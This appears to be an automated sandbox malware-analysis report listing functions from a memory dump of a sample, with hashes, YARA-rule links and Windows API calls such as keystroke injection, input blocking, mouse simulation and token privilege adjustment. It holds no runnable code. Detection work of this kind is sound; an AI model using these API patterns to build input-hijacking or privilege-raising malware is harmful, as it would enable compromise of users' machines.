Opcode ID: 6685a54fedf5f2e0fd73911b7d918dd6e068f3e98fa515b8ef98c9572a659bec
Instruction ID: d282448011c609ac5500226286ed6c9a9df300e199acfe9ba5d70c70ea3946fe
Opcode Fuzzy Hash: 6685a54fedf5f2e0fd73911b7d918dd6e068f3e98fa515b8ef98c9572a659bec
Instruction Fuzzy Hash: 34F0177195030DBBEF00DFE4DA89EAEBBBCFB08604F5045A5F541E2181E775AA449B50

Function 0100C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0100C36C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 83ba5d2665343ae371178fef34838bd6be2ca7a2044378926fb32271fa127bfb
Instruction ID: 524ee4fbb62a5ccba80d139463b8f1b217860b695c3eabb46c1c5b33e68403b0
Opcode Fuzzy Hash: 83ba5d2665343ae371178fef34838bd6be2ca7a2044378926fb32271fa127bfb
Instruction Fuzzy Hash: 15412872900219ABFB219FB9DD48EBB77B8EB84314F1042E9F945D71C0E6719E418B50

Function 0102D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0102D28C

Strings

X64, xrefs: 0102D2A8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 5f94aea65c0b685a248f10e8288d9915435c0d418f71aaff50318ace63582436
Instruction ID: 59a85cd1df27af151765ae17e854bbb383f90df89072e7b44d204ffd8565e3d5
Opcode Fuzzy Hash: 5f94aea65c0b685a248f10e8288d9915435c0d418f71aaff50318ace63582436
Instruction Fuzzy Hash: E9D0C9B580112DEADB90CA90D888DDDB37CBB15305F000151F146A2000D73495488F20

Function 00FFCAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: 4ccd1399953d85e68ea14bdf8b2d6f38a22597120b58525ae0aca02e08702fef
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 28023D72E0012D9BDF14CFA9C9806ADFBF1EF88324F254169DA19E7394D731A941DB90

Function 010468EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 01046918
FindClose.KERNEL32(00000000), ref: 01046961

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 33f6bc739d6e0e6040e88bd3cf443cc8c522db5d483faa0318e622abebe544f5
Instruction ID: bf955dceeef3292fb1fcfb25510a8fff74e69a5a633faee7a4625c2f320c9eb8
Opcode Fuzzy Hash: 33f6bc739d6e0e6040e88bd3cf443cc8c522db5d483faa0318e622abebe544f5
Instruction Fuzzy Hash: 9311D3756042019FD710DF29D4C4A16BBE5FF85328F08C6A9E8A98F3A2D775EC05CB91

Function 010437B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,01054891,?,?,00000035,?), ref: 010437E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,01054891,?,?,00000035,?), ref: 010437F4

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 86c2e27cee6cfdecd89f24863a318f6c7161f90904989d33d39595d166f991c1
Instruction ID: 37e316932e0f150dfc82f71920b8bb106174abebf1a071f8fdeb886f7b6a3530
Opcode Fuzzy Hash: 86c2e27cee6cfdecd89f24863a318f6c7161f90904989d33d39595d166f991c1
Instruction Fuzzy Hash: 53F0E5B06052392BE77056B68C8DFEB3AAEFFC4761F0001B5F589D2285D9609904C7B0

Function 0103B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0103B25D
keybd_event.USER32(?,75A4C0D0,?,00000000), ref: 0103B270

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 58e7e495833f451f595b6e69007f24fa3fbd01c813750e9a5f15e952e3591158
Instruction ID: 109d915899253d661e65cb9c25f1823e78611c1380bbf9237e9071a817a73bc7
Opcode Fuzzy Hash: 58e7e495833f451f595b6e69007f24fa3fbd01c813750e9a5f15e952e3591158
Instruction Fuzzy Hash: 4BF01D7180428DABEB159FA5C806BAE7FB4FF04309F00804AF9A5A5192C77D82119F94

Function 010310BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,010311FC), ref: 010310D4
CloseHandle.KERNEL32(?,?,010311FC), ref: 010310E9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: b75f21f8c801e2026c5118fb44e0cf1772adfd7c0edc833abdf4c34b2ba4c92e
Instruction ID: 30ede0a4d6451eaf9f9fec9155c1929e1377e5ca66c3c1f399178656af0fa2bb
Opcode Fuzzy Hash: b75f21f8c801e2026c5118fb44e0cf1772adfd7c0edc833abdf4c34b2ba4c92e
Instruction Fuzzy Hash: 6BE04F32008650AEF7352B12FC05E777BE9EB04310B10882EF5E5804B5DB666C90EB10

Function 00FDCAF0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 01020C40

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 0d7064d9951769a791dbbf52ab966f3eb8b35779369afbf36fc8f2b06b2e6b81
Instruction ID: 4a5577ef427f9febae2b49f1e80bb5e10da1266156668357bba5ea86bbf3da2f
Opcode Fuzzy Hash: 0d7064d9951769a791dbbf52ab966f3eb8b35779369afbf36fc8f2b06b2e6b81
Instruction Fuzzy Hash: EF32AE71900219DBDF14DF94CC80BEDB7B6FF04304F18809AE846AB396D775AA45EBA0

Function 0100676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,01006766,?,?,00000008,?,?,0100FEFE,00000000), ref: 01006998

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c97c5bbbb96ba30ff39b352161982393451a679cf4c731aebb2414e4727daaab
Instruction ID: 99526bc5fcd4f79117a5c95f39e5193694568e23f0510e5416f9ba47d5fcf900
Opcode Fuzzy Hash: c97c5bbbb96ba30ff39b352161982393451a679cf4c731aebb2414e4727daaab
Instruction Fuzzy Hash: 84B127715106088FE756CF28C486BA57BE1FB45364F258698E9D9CF2E2C336DAA1CB40

Function 00FEB119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 0102851F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 71776bdce07a31d2ea9ba8e4498756646a99d2076ecad04391e8e292dd1b230f
Instruction ID: 7db1adb3b5331bb495decdfa863fe0bc1e92d8dd02ec9553e9aa346f8f2e8c75
Opcode Fuzzy Hash: 71776bdce07a31d2ea9ba8e4498756646a99d2076ecad04391e8e292dd1b230f
Instruction Fuzzy Hash: C1126D75E002299FDB64CF59C8807EEB7F5FF48310F1481AAE849EB255E7349A81DB90

Function 0104EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0104EABD

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 54025ea59407de34651efe8f09bfcdfb05e8182cc7e32413509749a45a110a39
Instruction ID: 4d1aac7f34563379c58b5edebf32929b05adc75eea9791c17a8f02b0563446dc
Opcode Fuzzy Hash: 54025ea59407de34651efe8f09bfcdfb05e8182cc7e32413509749a45a110a39
Instruction Fuzzy Hash: 5CE01A752002059FD710EF59D844E9AB7E9BF98760F048426FD89C7361DA78B8408BA0

Function 0103E355 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 0103E37E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: bea9f07d9111ced970e9fef2ae11e3f770ce8fed831e919e95e78262694d6245
Instruction ID: f5bb6715def672c96469aac6b50a97fd8419349b1a6def3e97f7b910dbfd277d
Opcode Fuzzy Hash: bea9f07d9111ced970e9fef2ae11e3f770ce8fed831e919e95e78262694d6245
Instruction Fuzzy Hash: 71D05EF21902017DFABD0A3CCE2FF7A298CE381580F40D789B2C189599DA91A4444021

Function 00FF09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00FF03EE), ref: 00FF09DA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ba17940a342e1df17bcee826ae40dc776b804be279516fb59e6b21fe1a91d5d6
Instruction ID: 1f02813f8fd5385b5077cc27e466e65b2bec5508b0c3db8b4cf9d54d2827a163
Opcode Fuzzy Hash: ba17940a342e1df17bcee826ae40dc776b804be279516fb59e6b21fe1a91d5d6
Instruction Fuzzy Hash:

Function 00FF781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00FF798B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 5544599811cfa79770dc1e8201303a8d8bad75a87c85acc80163a15476ae8a42
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: DB514862E0C70D56DB38796888997BFE3959F123E0F280509DB82C72B2C659DE06F355

Function 01006DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a2e3f57e5c1641b8acfce6e048a3178e8d20b868e7bfa4eb4b9f88fc87ae372
Instruction ID: 24b8b2a91277d4fcbdafa379be8684007cdff0da658c5e8c0854939043b5d9c9
Opcode Fuzzy Hash: 1a2e3f57e5c1641b8acfce6e048a3178e8d20b868e7bfa4eb4b9f88fc87ae372
Instruction Fuzzy Hash: 5C323431D29F414DE7639538C822335B689AFB73C5F15C737E89AB599AEB2ED4834200

Function 00FECC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a607b19cbd2964af8c784064f45735b2c5a98ba77ab0c8923dcec083d23ef3
Instruction ID: 70b038e4bef0bc05348cef1d8273fb8f30093a7e613815df0eacb75598c94ab8
Opcode Fuzzy Hash: 72a607b19cbd2964af8c784064f45735b2c5a98ba77ab0c8923dcec083d23ef3
Instruction Fuzzy Hash: 2C321A31A001E58BFF34CE2DC694A7D7BE1FB45314F2881A6E6D9DB291D234D982DB41

Function 00FD7920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963baf4872fa8488893adba66733d756e61158d8cf02402068af1bc1e981dc0a
Instruction ID: 317fde71dcc11131a820f6772c7c8e0207fac548c400601210bd9a2ae7617dbd
Opcode Fuzzy Hash: 963baf4872fa8488893adba66733d756e61158d8cf02402068af1bc1e981dc0a
Instruction Fuzzy Hash: A622C270A042099FDF14DF64DC41AAEB7F6FF85300F14462AE852AB395EB3AA914DB50

Function 00FD91C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9c782115bc8f759adca9fa73e2faf71d721c1aeac79fc797a13c41f420bd94
Instruction ID: 0faa497818f2ef4ab7d635ebafa68bba130f5ed522d46faccb1d57dcc2515940
Opcode Fuzzy Hash: ae9c782115bc8f759adca9fa73e2faf71d721c1aeac79fc797a13c41f420bd94
Instruction Fuzzy Hash: A70208B1E00209EBDB05DF64DC81AAEBBB1FF44300F548165E846DB395EB79E910DB90

Function 00FF1C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: f2098679692de4a8190f33a787f3f96a71c518a4a0d481fe43ea04d2bc8a21d6
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: D4918733A080A78ADB29463A857417EFFF16E923B131A079DD5F2CA1E5FE10D954F620

Function 00FF1F32 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: cb2b8bc0d9eea1dd703feccdae9cfefd6dfc46c48667e704a6fdcc24fde5460f
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: EF916573A090A74ADB6D423A857403EFFE15F923B131A079DD6F2CB1E5EE248564F620

Function 00FF19B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
